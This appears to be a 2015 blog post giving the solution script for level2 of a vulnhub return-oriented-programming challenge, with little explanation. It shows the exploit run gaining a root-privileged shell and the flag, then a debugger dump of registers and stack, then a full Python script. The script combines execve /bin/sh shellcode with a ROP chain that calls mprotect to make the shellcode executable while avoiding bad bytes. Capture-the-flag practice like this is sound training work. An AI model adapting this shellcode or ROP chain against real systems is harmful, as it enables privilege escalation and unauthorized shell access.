lundi 15 juin 2015

ROP Challenge: level2

Thanks to Bas from vulnhub for this great ROP challenge.
I'm sorry, it's not a writeup (I didn't have the time), but I give you my script to solve level2 and obtain a shell.

level2@rop:~$ ./level2 "$(python rop.py)"
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, A��!1�Ph//shh/bin��PS��1Ұ
                                                                     ̀AAAAAAAAAAAAAAAXXXX(RXXXXց
���ƀ
RXXXXց
,���RXXXXց
RXXXX>
!
# id
uid=1002(level2) gid=1002(level2) euid=0(root) groups=0(root),1002(level2)
# cat flag
flag{to_rop_or_not_to_rop}


On this level2, I had to deal with some bad chars like \x00,\x0a... I managed to prepare the stack before to call "mprotect" function:

EAX: 0x8052290 (<mprotect>: push   ebx)
EBX: 0x0
ECX: 0xbffff5cc --> 0x8052290 (<mprotect>: push   ebx)
EDX: 0x80cb430 --> 0x0
ESI: 0x80488f0 (<__libc_csu_fini>: push   ebp)
EDI: 0xa46a937e
EBP: 0x58585858 ('XXXX')
ESP: 0xbffff5cc --> 0x8052290 (<mprotect>: push   ebx)
EIP: 0x80a8440 (<_Unwind_RaiseException+352>: ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80a8438 <_Unwind_RaiseException+344>: mov    edi,DWORD PTR [ebp-0x4]
   0x80a843b <_Unwind_RaiseException+347>: mov    ebp,DWORD PTR [ebp+0x0]
   0x80a843e <_Unwind_RaiseException+350>: mov    esp,ecx
=> 0x80a8440 <_Unwind_RaiseException+352>: ret
   0x80a8441: jmp    0x80a8450 <_Unwind_ForcedUnwind>
   0x80a8443: nop
   0x80a8444: nop
   0x80a8445: nop
[------------------------------------stack-------------------------------------]
0000| 0xbffff5cc --> 0x8052290 (<mprotect>: push   ebx)
0004| 0xbffff5d0 --> 0xb7ffe02c --> 0x3121ec83
0008| 0xbffff5d4 --> 0xb7ffe000 --> 0x200a2108
0012| 0xbffff5d8 --> 0x8c
0016| 0xbffff5dc --> 0x5


Here my python script:
#!/usr/bin/python

import sys
import struct

def p(x):
 return struct.pack('<L',x)


shellcode = "\x83\xEC\x21\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"


payload = "A"
payload += shellcode
payload += "A"*(44-len(payload))

# push 0x5  (PROT_READ | PROT_EXEC)
payload += p(0x8097a7f)  # xor eax,eax | ret
payload += p(0x806a2ed)         # inc eax | inc eax | inc eax | ret
payload += p(0x806a2ee)         # inc eax | inc eax | ret
payload += p(0x8049852)         # mov [ecx], eax | pop ebp | ret
payload += "XXXX"  # JUNK
payload += p(0x80488e9)         # dec ecx | ret
payload += p(0x80488e9)         # dec ecx |ret
payload += p(0x80488e9)         # dec ecx | ret
payload += p(0x80488e9)         # dec ecx | ret

# push 0x8c (len)
payload += p(0x8075128)  # xor al,0x89
payload += p(0x8049852)         # mov [ecx], eax | pop ebp | ret
payload += "XXXX"               # JUNK
payload += p(0x80488e9)         # dec ecx | ret
payload += p(0x80488e9)         # dec ecx | ret
payload += p(0x80488e9)         # dec ecx | ret
payload += p(0x80488e9)         # dec ecx | ret

# push memory *addr
payload += p(0x80a81d6)         # pop eax ,ret
payload += p(0xb7ffe001)        # space memory
payload += p(0x80a80c6)  # dec eax, ret
payload += p(0x8049852)         # mov [ecx], eax | pop ebp | ret
payload += "XXXX"               # JUNK
payload += p(0x80488e9)         # dec ecx | ret
payload += p(0x80488e9)         # dec ecx | ret
payload += p(0x80488e9)         # dec ecx | ret
payload += p(0x80488e9)         # dec ecx | ret

# push @ where to go after mprotect function
# shellcode begins at 0xb7ffe02c
payload += p(0x80a81d6)         # pop eax | ret
payload += p(0xb7ffe02c)        # memory shellcode start
payload += p(0x8049852)         # mov [ecx], eax | pop ebp | ret
payload += "XXXX"               # JUNK
payload += p(0x80488e9)         # dec ecx | ret
payload += p(0x80488e9)         # dec ecx | ret
payload += p(0x80488e9)         # dec ecx | ret
payload += p(0x80488e9)         # dec ecx | ret

# push @mprotect
payload += p(0x80a81d6)         # pop eax | ret
payload += p(0x8052290)         # @mprotect
payload += p(0x8049852)         # mov [ecx], eax | pop ebp | ret
payload += "XXXX"  # JUNK

# Stack prepared for mprotect function
payload += p(0x80a843e)  # mov esp, ecx | ret

sys.stdout.write(payload)